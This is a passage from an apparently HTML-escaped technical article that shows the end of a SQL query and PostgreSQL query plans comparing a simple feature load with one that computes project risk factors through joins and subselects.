&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    AND&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;features&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;due_date&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; IS&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; NULL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; not_scheduled&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;features&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;LEFT JOIN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; projects rf_features_projects &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;ON&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; rf_features_projects&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; features&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;project_id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;LIMIT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s say we&apos;ve added two subselects and a few joins. This seems reasonable looking at just the SQL, but let&apos;s also take a look at the query plans for these to get deeper insights.&lt;/p&gt;
&lt;p&gt;First, here is the regular feature load:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; Limit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;05&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;279&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;021&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;021&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;   -&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  Seq Scan &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; features  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;05&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1001&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9003&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;279&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;020&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;020&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;         Filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: (project_id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ANY (&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;{...}&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;bigint&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[]))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Planning &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;Time&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;217&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Execution &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;Time&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;052&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s about as simple as it gets for a query. But what about including the calculated risk factors?&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; Limit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;51&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;281&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;079&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;081&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;   -&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  Nested &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;Loop&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; Left Join&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;154647&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9003&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;281&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;079&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;080&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;         -&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  Nested &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;Loop&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; Left Join&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3807&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9003&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;282&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;050&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;051&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;               Join&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; Filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;rf_features_rr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;riskable_id&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; features&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;               Rows&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Removed &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;by&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; Join&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; Filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;               -&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  Nested &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;Loop&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; Left Join&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2455&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;79&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9003&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;282&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;034&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;034&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                     -&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  Seq Scan &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; features  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;05&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1001&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9003&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;279&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;026&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;026&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                           Filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: (project_id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ANY (&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;{...}&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;bigint&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[]))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                     -&gt;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  Index&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Scan &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;using&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; index_project_risks_configurations_on_project_id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; project_risks_configurations rf_features_prc  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;14&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;005&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;005&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                           Index&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Cond: (project_id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; features&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;project_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                           Filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;enabled&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;               -&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  Materialize  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;010&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span 